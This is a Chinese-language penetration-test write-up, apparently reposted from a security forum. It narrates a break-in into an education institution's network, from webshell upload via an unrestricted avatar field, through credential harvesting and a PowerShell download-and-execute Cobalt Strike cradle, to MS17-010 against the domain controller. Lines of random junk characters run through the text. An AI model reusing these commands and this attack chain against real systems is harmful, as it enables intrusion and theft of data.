|
9 R$ T. D; T0 X3 h 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路: c3 \6 Y" |' E: X
( z% Q! [/ e5 W9 W$ g
& s9 {1 N' e0 W' t . I# w. M8 |4 b( e, T
* X* X( B H/ U' j
" F' k) f6 T& C& R" |
正文
9 y5 j/ w* r' l, G0 o7 N! Q
; `& g5 ^" m8 t p9 D* ]; j2 r7 _: u
' E% B4 m. j/ f+ D9 v/ K9 w 8 }6 ]! W1 _" _1 T& ^- D
+ C! b1 d) s6 v6 c- O O/ ^4 l, w$ {3 L; f2 w4 q; }: j, I
目标:www.xxxx.com(一家教育机构) + \8 ?+ F: y' A C$ o1 B b
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能( E7 g3 `( Q, d) Y/ O! |' I0 P
! C5 G& o, ?' |: ]5 I
2 z& N; T6 J& K+ L 0 @: S/ F0 x: y3 T6 d- A6 y$ N
6 Y$ t$ }2 {2 o( H
( {% y# _- k1 @$ x2 f& T0 j( N% @8 F2 z
进行了简单的信息搜集 + N9 u8 Y9 z2 k E0 i) m0 J' B7 e* F
$ [3 A m7 C( [: k& l! D# c
$ r& J/ E4 h' }; W, Y( m ) c$ b/ D# V4 }* B+ a J+ S9 y
$ F) y/ g) f) u; j, B2 _! ~8 R' b( j
子域名搜集
) t% O4 q# _: T% Y t6 ]0 j
- N* f( Z6 y7 _/ o0 K+ U
( X$ L# X4 a, {* x7 q/ M2 `- ]5 `+ Q; M
" T* b( X% q8 Y* c! ] ! q& q2 `+ X7 b3 f
9 A* W0 ?8 s! y! h fofa找资产 , `$ H/ l# x* _; z; g
- @2 N1 s) V& c% W1 d0 v! f) N- D) j
: h( F2 G# m' i5 d2 E3 w
/ V8 n$ Q# _2 v6 y$ f2 w5 u
' ^( P. |' w* N, d % Z6 _2 I. @$ \ e5 F% z1 J
$ w* ?: @/ Y0 V4 B, ]) O$ y. P, W0 N
/ r# ]7 R7 Y3 h: o+ c/ ?
一共七个资产。去重之后只有两个。
. }' E$ w% p( C' N% ?- M " D( ]" F% J6 M4 R; q r$ O" o
2 N9 H. Z7 m9 s- ]; b! K
) s, J4 l/ `0 H4 e' w; \. K: p. K0 q, Z- d9 F, }8 H
目录探测3 z6 W$ T$ D5 R2 [" ^5 [
; h. V/ r/ g7 o8 l2 _" y! v" y% ~- J
' O& i- p; w& Z; _# k0 x' n
; I* h* H/ b' b) {; W
" j6 `3 _* y# W9 {! X. D/ a 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有 0 f! K0 j, U, [) O$ J b6 ~9 s
# V& S. d5 A9 B9 q0 T2 H0 r" L! s0 x1 t
' @4 K, n* z8 C( _, b% v
# c O' \! r; k) v+ i7 \9 n" e 我又尝试了通过修改返回包来绕过登录界面: j! f% n* C) _9 N$ L
" z$ @9 M( r2 M" t7 t3 x3 W
. W9 U" E2 B# }2 ?3 U$ M
1 D. a2 [4 n: B+ D
+ L" Q( m8 _( N, m* ]" G
& L, e& J7 e) y' `5 o0 P, \( |5 F 还是不行,尝试注入无果" h* r$ t) J: q+ P: g+ N [
" E6 y. u' }$ K$ X- g; D- s
5 l6 q: {5 Z+ I1 ?/ a. F : B5 i. \! {* D
5 x6 c4 T6 `* ~+ v4 }- h. E. z0 o0 F: Q* p! X& e, l
不过我目录探测出了一处Spring信息泄露
0 B- A) X3 ?! Q" l! @2 R( T7 \4 Y6 b0 K + G U" I4 z) [1 |5 q0 a% s% }
# K! H- l" Q9 M( Q i3 F/ v# _ ' ~* R/ k* v8 u, g7 c" B/ H
4 h" n$ A5 w3 V- ^) P7 P$ a: s3 w
2 D4 q9 n# `* N% H5 r8 L. t 8 O& t% C, {, V+ F9 t7 Q9 q/ t
) E% ?$ B& ^0 X
尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录8 v# G) L K$ r3 ~8 ~
2 y& C0 A0 R+ m- M4 _
5 i' S( R) p) {1 a$ |, r 4 Z# e; J0 }' W- I) ^; U
6 S2 R5 x/ j- h/ j; {7 o4 k' R( }( B- A+ l1 L2 h
后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。4 ~; x4 Y. T2 Z/ V9 F0 H6 n. t2 T, ^
- F4 f5 ~: q) k& g* p1 j8 G2 t) D
7 J% e3 ^3 i5 j& Z( m
/ ]" L% z" W) d( n' c
" ?8 a) N+ v; I6 R! F4 l2 L6 F. D0 O @$ j: r: ^" Q# H: T
获取有些师傅到这一步就手机抓包电脑测了。4 y {# y/ H3 s$ I: o
' T3 O& j) S, m9 {' W, |# }- N, l, V: ?$ j# |! f/ }: q
Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。# l$ x: @: H: _& R: S- Y
& b/ @' I2 }! c; f9 w) k! m9 f/ l, A4 |) a" C1 Y" H" E
其中在一个公众号发现了小程序,可以进行注册。2 u2 E1 o+ H% O4 B) N- r
0 f) Y" g- f, U6 \
0 {, J u! ?2 L" |) X% n! ^) a 看到了头像上传,尝试上传获取WebShell; Y; F6 E. [, T6 T6 M4 R( r
. J$ t& @7 ~) H4 k' b2 x! x Z' I0 m) c; o6 H2 N& d
) p1 [8 j3 {: {; r' e- U
3 V4 x( y9 U( R" k& a3 \8 @% R
/ I& w7 H L& L. ~2 ? 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问' A' u4 q/ h8 o) w; V
; J% }% H3 Z$ p+ ?8 V
" ~, C8 R$ O6 I$ W
7 ]; _7 |, N* t3 f 2 x, v) r2 D+ q/ v: V! k8 P) z) }
; m+ r. e5 h0 F6 o0 A1 O 然后上了大马9 n( s& o/ d3 l) D* M m$ h
6 q0 k4 J4 [8 w, d% n# W* c1 v' F
" A$ j4 L" C& S$ y2 [
0 x2 I) V1 m* c1 t* f. j
1 o& \1 M+ g( A2 o/ l
: V5 [+ ?6 _) Q6 | : X6 P/ j, |* F$ E+ W& y
: M& i/ A5 W8 h
/ m; A- X9 x' r! C, } 通过翻找文件发现数据库账号密码
3 k+ W) E/ j( x3 p ( b B2 V' P2 J2 Z! B; U( x
9 v) A. K; z& M7 F( C
2 H# T* G9 e- ^1 s" r6 f
; p9 z) H: A2 K! y
# b2 c ~/ t+ S* G& v
--内网渗透
1 a( s/ b0 n1 ^, r, B$ E 5 T1 y& _; ~( ]0 W5 w F
9 E W- W: @# S 直接通过powershell执行 cs上线' U4 v( @/ J. h0 O; B
) ` [0 u4 P2 n/ n0 G% t/ l# H- X4 F& I2 _1 I7 l2 q7 {' S {# M& f& N
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
L4 z. {! W4 X+ \& d/ g* t
+ L* ^! [: x! B* T) M) Q" `; I/ }9 v8 `7 p+ q
1 y$ y9 T* Z3 D) R, C, d$ B. o " K) c$ A* }! e: h" ]% F
; E/ v8 g0 x8 h
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破- W- t9 n5 ~! w5 E+ P! H
5 A; h7 U$ l C7 V& ^6 {! U& f/ W: k c. N+ f1 S
9 z0 g: N9 v- T* |! m
# N- K# v) K. O4 [
) l/ t, Y( N5 H$ C! [) @ 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
1 }9 F, Z5 t9 C' q' d7 |& h0 b# C
2 J0 s- U+ e9 l, e$ L % H. d- V1 H( C) x0 B6 Y; l
. z# B+ t2 q) z) }% b
9 L9 b ~3 r: l1 r* Y5 V# S2 E2 B4 U: Z' I4 n+ i; n& k% b
/ e4 d2 p, w/ ]2 x& L * l. p8 S; n; j* c! Z7 O
6 X' ` P9 d D7 b/ l$ {
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
4 y Y ~; H! ^' i1 ? 4 Y, i$ T5 v* f" u4 @0 k/ G/ { q
- P& ?& k& G/ L3 {' N
! Z! }* j' v- c. L' t# J
) a2 N4 ?" U% D) u9 ?$ s2 e* {- T6 g( H ; o( z+ a3 ^, ?2 O
( p' ]/ h/ H& ^; B3 Q5 r. q; W3 x. T8 @# G7 v+ g w; ]* ?( W
7 i" |' U% V0 G7 Q4 [% b! O: T
7 g' ~( _3 Y3 S* y. e e; i2 a
# ]% S7 e5 U- w& n( I , L# o4 L; z8 B; E. k+ F. i9 X
) g& [' z: T5 b: O$ z
1 T2 |/ m9 q g5 B
# c& j/ e. z4 q' ^3 p! w
+ n- M: i3 _4 ]- I% W1 l 小结
) _" [% D- b/ r: i: w+ g" a ! B2 Y* C' p/ e, `7 D
) L& s, n# g3 R0 A2 j: h7 b+ }5 L5 w
: n9 z6 ~. E2 |4 e# V
+ h( j+ `$ {4 q% O+ J. b- N, U7 r7 i! r [4 F: k* \8 ^; n
在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!2 x/ l$ V& V2 _8 q- r0 f. f
9 G, I/ ~% d' B) z" `9 p+ i( u! O! j9 c* g
6 r# P/ ^8 \0 J; N9 X
) n' W" ]0 o+ l% N( P! G# \) T( q
2 V+ [4 H2 p- k( b$ f" k( d, L, r
- . T4 [! X' s# i4 ~/ R/ {
4 }; y1 D$ u7 g$ X* U' G- w- U
6 `! i+ b, Z7 x -
- I9 }0 N8 t, E / @: a; V' P! S& ~: k
- s4 l6 t, Y! a7 m6 E; I0 e
- h/ r1 V" ~5 W5 F6 s, F% v* ]6 E( L) X: x8 ~. t j
作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
; A: P" t, p y/ F ) \3 ]4 s! ^# Q- b3 U9 F, d
; ~& [# b) {# q4 p- Y5 s1 L' o. e
1 f( } M1 Y% Y" d |